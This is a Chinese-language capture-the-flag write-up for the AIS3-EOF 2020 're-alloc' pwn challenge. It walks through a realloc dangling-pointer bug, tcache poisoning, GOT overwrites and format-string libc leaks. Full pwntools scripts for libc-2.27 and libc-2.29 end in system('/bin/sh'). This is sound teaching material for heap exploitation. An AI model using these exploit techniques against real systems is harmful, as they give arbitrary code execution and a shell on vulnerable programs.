---
# System prepended metadata

title: 'AIS3-EOF-Qual 2020 - [Pwn] re-alloc'
tags: [CTF]

---

AIS3-EOF-Qual 2020 - [Pwn] re-alloc
===
- [Description](#Description)
- [Vulns](#Vulns)
- [Idea](#Idea)
- [Exploit on libc-2.27](#Exploit-on-libc-227)
- [Exploit on libc-2.29](#Exploit-on-libc-229)

# Description
![](https://i.imgur.com/hZSwV1O.png)

![](https://i.imgur.com/cW46zFY.png)

題目給了 `libc-2.29.so`, 以此判斷可運行在 ubuntu 19.04

![](https://i.imgur.com/w8sDSjF.png)

這題一開始我是先在比較熟悉的 `libc-2.27.so` 上找出 solution

才接著又寫了一個打 `libc-2.29.so` 的版本

而以下會先解釋 `libc-2.27.so` 版

再講比賽時適用的 `libc-2.29.so` 版(比較有隨著版本變遷的港覺 ouo)

# Vulns
realloc 還蠻神奇的, 看看 realloc 的 source code (可參考[我的筆記](https://hackmd.io/BoPKMhLwQM25-ClipHCdpw?view))

`realloc(oldmem, bytes)` 有幾個 case

- `oldmem == NULL` 
    - 形同 call `malloc(bytes)`
- `oldmem != NULL && bytes == 0` 
    - 形同 call `free(oldmem)`
- `oldmem != NULL && bytes != 0`
    - 這才不會只是其他已經有的咚咚的形狀

題目中的三個主要 function 主要功能如下

- Alloc
    - 實際上使用 `ptr = realloc(NULL,size);`
- Realloc
    - 實際上使用 `ptr = realloc(heap[idx],size);`
- Free
    - 實際上使用 `realloc(heap[idx],0);`

(當然這只是簡化，下文將假設你已詳細看完 code)

若先用 Alloc 創造一塊 size 是 0x20 的 chunk

再用 Realloc 中, 輸入此 chunk idx **並且 size 輸入 0**

**會變成 free 掉這塊 chunk, 卻沒將此 ptr 清除, 造成 dangling pointer**

**再用 Free, 輸入此 chunk idx, 達到 double free**

# Idea
思路是製造出 T-cache double free

因為 PIE disabled 而且 RELRO partial, 所以往爆改 got table 想

看到 atoll 的參數 buf 是可輸入的, 如果能把 atoll 改成 system 就能直接開 shell

但因為 ASLR, 不知道 libc 位址, 也就不知道 system 位址

所以要先想辦法 leak libc

而要 leak libc，可以透過把 atoll 改成 printf@plt (PIE disabled 所以 printf@plt 已知)

就有 Format string vulns, 就能 leak 躺在 registers/stack 裡的值, 這些地方有機會有 libc address

表示這樣有機會 leak libc

leak 後要再想辦法再度把 atoll 改成 system, 就能簡簡單單輸入 `/bin/sh` 開 shell

# Exploit on libc-2.27
首先是一些 function 定義, 方便後續 exploit 好寫
```python
from pwn import *
context.arch = 'amd64'

printf_plt = 0x401070

atoll_got = 0x404048

def allocate(idx, size, data=None):
    p.sendlineafter('choice: ', str(1))
    p.sendlineafter('Index:', str(idx))
    p.sendlineafter('Size:', str(size))
    if data != None:
        p.sendafter('Data:', data)

def reallocate(idx, size, data=None):
    p.sendlineafter('choice: ', str(2))
    p.sendlineafter('Index:', str(idx))
    p.sendlineafter('Size:', str(size))
    if data != None:
        p.sendafter('Data:', data)

def rfree(idx, isBytes=False):
    p.sendlineafter('choice: ', str(3))
    if isBytes == False:
        p.sendlineafter('Index:', str(idx))
    else:
        p.sendlineafter('Index:', idx)

libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
p = process('./re-alloc')
```

再來是把 atoll@got 改成 printf@plt 的部分
```python
# Double free attack
writehere = atoll_got
allocate(1, 0x10, b'a'*0x10) # heap[1] = malloc(0x10)
reallocate(1, 0) # free(heap[1])
rfree(1) # free(heap[1]), heap[1] = 0
```
以上部分稍作解釋：
- 首先 `allocate(1, 0x10, b'a'*0x10)`, 重點是執行了
    - `heap[1] = realloc(NULL, 0x10)`
        因為 `oldmem == NULL` 所以實際上是等同呼叫 `malloc(0x10)`，返回 size 0x20 chunk
- `reallocate(1, 0)`，重點是執行了
    - `ptr = realloc(heap[1], 0);`
        因為 `oldmem != NULL && bytes == 0` 所以實際上等同呼叫 `free(heap[1])` 造成 dangling pointer
- `rfree(1)`，重點是執行了
    - `realloc(heap[1], 0);`
        跟上面理由一樣, 等同呼叫 `free(heap[1])` 造成 Tcache double free
    - `heap[1] = NULL `
        此時 heap[1] 才終於被清除, 但 double free 已成形

```python
allocate(0, 0x10, p64(writehere).ljust(0x10, b'\x87')) # heap[0] = malloc(0x10)
rfree(1) # malloc(0), garbage
payload = p64(printf_plt)
allocate(1, 0x10, payload[:0x7]) # heap[1] = malloc(0x10), arbitrary write
```
- 申請走第一個 0x20 Tcache bin
    - 此時這塊 chunk 處於 Used 和 Free 之間
    - 隨後往之寫入 atoll@got 的位址, 覆蓋掉 fd, 控制 0x20 Tcache chain
        - 原本的 chain 長這樣
            - 躺在heap的正常 chunk -> 躺在heap的正常 chunk **(double free)**
        - 後來變成
            - 躺在heap的正常 chunk -> **atoll@got** -> \?\?\?\?\?
- `rfree(1)` 重點是執行了 `realloc(heap[1], 0)`
    - 但 `heap[1]` 已清空, 所以符合 `oldmem == NULL`
        - 所以實際上是執行 `malloc(0)`, 申請 size 0x20 的 chunk
        - 原本的 chain 長成這樣
            - 躺在heap的正常 chunk -> **atoll@got** -> \?\?\?\?\?
        - 後來變成
            - **atoll@got** -> \?\?\?\?\?
- 下次再 allocate 一塊 0x20 的 chunk 就會拿到以 **atoll@got** 最為資料頭的 chunk
- 如此就能改寫 **atoll@got** 囉

再來是 leak libc 的部分
```python
# Leak libc
rfree('%7$p')
libc.address = int(p.recvuntil('\n', drop=True), 16) - libc.symbols['_IO_2_1_stdout_']
print('libc: {:#x}'.format(libc.address))
```
注意現在 `atoll` 已經變成 `printf`, 所以多一個 Format string vuln 可以打ㄌ

leak 出來 libc 後, 再來就是再度改寫 `atoll` 的部分
```python
# Double free attack again with Format string attack
reallocate('\0', '%95x', '\0') # heap[0] = realloc(heap[0], 0x60)
reallocate('\0', '\0') # free(heap[0])
rfree('\0') # free(heap[0]), heap[0] = 0
allocate('\0', '%95x', p64(writehere) + b'\0') # heap[0] = malloc(0x60)
rfree(b'%9$nxxxx' + p64(0x4040d0), isBytes=True) # Clear heap[0] by fmt str attack
allocate('\0', '%95x', p64(writehere) + b'\0') # heap[0] = malloc(0x60), garbage
rfree(b'%9$nxxxx' + p64(0x4040d0), isBytes=True) # Clear heap[0] by fmt str attack
payload = p64(libc.symbols['system'])
allocate('\0', '%95x', payload[:0x7]) # heap[0] = malloc(0x60), arbitrary write
```
注意 `printf` 的 return 值是輸出了多少字
所以可以透過 `printf('\0')` 來讓 return 值是 0
- 原先未改寫 atoll@got 的時候要 free heap[0] 時...
    - `rfree(0)`
        - 因為 `atoll("0\n")` return 0, idx = 0
- 將之改寫成 `printf` 後, 一樣想 free heap[0] 時...
    - `rfree('\0')`
        - 因為 `printf("\0\n")` return 0, idx = 0
- 想 `malloc(0x60)` 時
    - `atoll("96\n")` return 0x60
    - `printf("%95x\n")` 也是 return 0x60 (換行也算輸出一個字元)

只是這階段的限制是不能再 free 到 heap[1], 因為那邊 chunk 沒有偽造好, free 下去會爆掉

但沒關係, 有 format string vuln, 可以讓我用了 heap[0] 後再把 heap[0] 清空, 就能一直 allocate

此階段結束後, atoll@got 就成功改寫成在 libc 中的 system 了

```python
rfree(b'/bin/sh\0', isBytes=True) # system('/bin/sh')

p.interactive()
```
爽拿 shell

# Exploit on libc-2.29
而以上 exploit 無法打 libc-2.29 的原因是

libc-2.29 對於 Tcache 的 double free attack 加了防禦：
```c
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
  ...
#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);
    if (tcache != NULL && tc_idx < mp_.tcache_bins)
      {
	/* Check to see if it's already in the tcache.  */
	tcache_entry *e = (tcache_entry *) chunk2mem (p);

	/* This test succeeds on double free.  However, we don't 100%
	   trust it (it also matches random payload data at a 1 in
	   2^<size_t> chance), so verify it's not an unlikely
	   coincidence before aborting.  */
	if (__glibc_unlikely (e->key == tcache))
	  {
	    tcache_entry *tmp;
	    LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
	    for (tmp = tcache->entries[tc_idx];
		 tmp;
		 tmp = tmp->next)
	      if (tmp == e)
		malloc_printerr ("free(): double free detected in tcache 2");
	    /* If we get here, it was a coincidence.  We've wasted a
	       few cycles, but don't abort.  */
	  }

	if (tcache->counts[tc_idx] < mp_.tcache_count)
	  {
	    tcache_put (p, tc_idx);
	    return;
	  }
      }
  }
#endif
  ...
}
```

可以看到
- `if (tcache != NULL && tc_idx < mp_.tcache_bins)`
    - `tcache` 在這邊已經有初始化過了, 且因為 size 被限制在 0x78 底下, 正常來說一定滿足 `tc_idx < mp_.tcache_bins`

- `if (__glibc_unlikely (e->key == tcache))`
    - `e->key` 其實就跟熟悉的 chunk->bk 代表同一個地方
    - 在正常 free 掉之後, `e->key` 會被設定為 `tcache`
    - 也就是說，正常寫 code 情況下, 這個 if 通常不會成立, 因為你不會沒事 double free, `e->key` 在還沒 free 的情況下是正常使用者存放的資料, 不太會等於 `tcache`, 這個多加的防禦對於正常使用情況下只會多跑一兩個 if 判斷, 效能影響不大
    - **阿不過這就是問題所在, 就是因為這個, 直接打 double free 時會讓此 if 成立**
        - 裡面直接遍尋整個 linked list, 有重複就 `malloc_printerr`

但目前也想不到其他方法, 只能試圖硬繞看看這個保護

**進到遍尋整個 linked list 的 code block 的話, double free 一定會被揪出來**

所以不要進到辣個 code block, 只能想辦法讓前面兩個 if 其中一個不要走進去

而第一個 if 直覺想是繞不掉

第二個 if 要改掉`e->key`(跟 bk 同樣位址) 好像值得一踹

但突然就被我 Try 到 realloc 的一個特性, 讓我完全不用用到 double free
```c
void *
__libc_realloc (void *oldmem, size_t bytes)
{
  ...
  if (SINGLE_THREAD_P)
    {
      newp = _int_realloc (ar_ptr, oldp, oldsize, nb);
      assert (!newp || chunk_is_mmapped (mem2chunk (newp)) ||
	      ar_ptr == arena_for_chunk (mem2chunk (newp)));

      return newp;
    }
  ...
}
```
進到 `_int_realloc` 後, 若 `oldsize >= nb` 則仍舊分配 `oldp` 給 `newp`, 意思是反正舊有的 chunk size 夠大, 要做的只是調整 size, 如果 remainder 還有足夠大的空間就要多做處理一下

來看 exploit 腳本的部分

前面 function 部分跟上一 part 的相同

```python
# Double-free-like attack
writehere = atoll_got
allocate(1, 0x10, b'a'*0x2) # heap[1] = malloc(0x10)
reallocate(1, 0) # free(heap[1])
allocate(0, 0x10, b'a'*0x2) # heap[0] = malloc(0x10)
rfree(1) # free(heap[1]), heap[1] = 0
reallocate(0, 0x10, p64(writehere).ljust(0x10, b'\x87')) # heap[0] = realloc(heap[0], 0x10)
rfree(1) # malloc(0), garbage
payload = p64(printf_plt)
allocate(1, 0x10, payload[:0x7]) # heap[1] = malloc(0x10), arbitrary write
```
解釋一下：
- `heap[1] = malloc(0x10)`
    - 寫入啥不重要
- `free(heap[1])`
- `heap[0] = malloc(0x10)`
    - 寫入啥不重要
    - 製造出 `heap[0]` `heap[1]` 都指向同一塊記憶體
- `free(heap[1])`
    - 先 free 是為了等等要再來這邊拿 chunk
    - 現在 Tcache chain:
        - 躺在heap的正常 chunk -> 0 (end)
- **`heap[0] = realloc(heap[0], 0x10)`**
    - 因為 `heap[0]` 未清空, 指著一塊 size 正確的 chunk
    - **這邊就就用到剛剛說的 realloc 的特性**, `oldsize >= nb`
    - **舊 size 夠大, newp 依舊是 oldp, return `heap[0]` 就好**
    - 如此就能寫入ㄌ, 寫進 `atoll@got`
    - 現在 Tcache chain:
        - 躺在heap的正常 chunk -> **atoll@got** -> \?\?\?\?\?
- `malloc(0)`
    - 現在 Tcache chain:
        - **atoll@got** -> \?\?\?\?\?

如此一來再拿一塊就能把 `atoll@got` 改寫成 `printf@plt` 嚕

一樣的 leak libc
```python
# Leak libc
rfree('%7$p')
libc.address = int(p.recvuntil('\n', drop=True), 16) - libc.symbols['_IO_2_1_stdout_']
print('libc: {:#x}'.format(libc.address))
```

最後一部分
```python
# Double free attack again with Format string attack
rfree(b'%9$nxxxx' + p64(0x4040d0), isBytes=True) # Clear heap[0] by fmt str attack
rfree(b'%9$nxxxx' + p64(0x4040d8), isBytes=True) # Clear heap[1] by fmt str attack
allocate('a\0', '%95x', b'a'*0x2) # heap[1] = malloc(0x60)
reallocate('a\0', '\0') # free(heap[1])
allocate('\0', '%95x', b'a'*0x2) # heap[0] = malloc(0x60)
rfree('a\0') # free(heap[1]), heap[1] = 0
reallocate('\0', '%95x', p64(writehere).ljust(0x10, b'\x87')) # heap[0] = realloc(heap[0], 0x60)
rfree(b'%9$nxxxx' + p64(0x4040d0), isBytes=True) # Clear heap[0] by fmt str attack
allocate('\0', '%95x', b'a'*0xf) # heap[0] = malloc(0x60), garbage
payload = p64(libc.symbols['system'])
allocate('a\0', '%95x', payload[:0x7]) # heap[1] = malloc(0x60), arbitrary write
```
利用跟前面一樣的道理, 把 `atoll@got` 改為 `system`

```python
rfree(b'/bin/sh\0', isBytes=True) # system('/bin/sh')

p.interactive()
```

**這種打法就能通吃 libc-2.27 libc-2.29 了**

###### tags: `CTF`